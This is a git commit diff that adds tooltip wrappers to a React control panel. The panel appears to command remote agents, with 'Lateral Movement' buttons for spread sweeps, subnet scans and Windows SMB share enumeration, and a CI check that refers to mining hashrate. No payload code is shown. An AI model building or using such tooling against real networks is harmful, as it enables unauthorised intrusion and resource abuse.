chore: crucible expanded ops line-ending sync
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -10,6 +10,7 @@ import {
|
|||||||
selectionCanRunAggressive,
|
selectionCanRunAggressive,
|
||||||
} from '../../help/crucibleOps';
|
} from '../../help/crucibleOps';
|
||||||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||||
import FileManager from './FileManager';
|
import FileManager from './FileManager';
|
||||||
@@ -756,12 +757,18 @@ export default function CrucibleExpandedOps({
|
|||||||
return (
|
return (
|
||||||
<div className={panelClass}>
|
<div className={panelClass}>
|
||||||
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
|
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
|
||||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||||||
Spread Now
|
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
||||||
</button>
|
Spread Now
|
||||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
|
</button>
|
||||||
Subnet Scan
|
<HelpTip field="crucible_btn_spread_now" />
|
||||||
</button>
|
</span>
|
||||||
|
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||||||
|
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
|
||||||
|
Subnet Scan
|
||||||
|
</button>
|
||||||
|
<HelpTip field="crucible_btn_subnet_scan" />
|
||||||
|
</span>
|
||||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
|
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
|
||||||
SMB Shares
|
SMB Shares
|
||||||
</button>
|
</button>
|
||||||
|
|||||||
Reference in New Issue
Block a user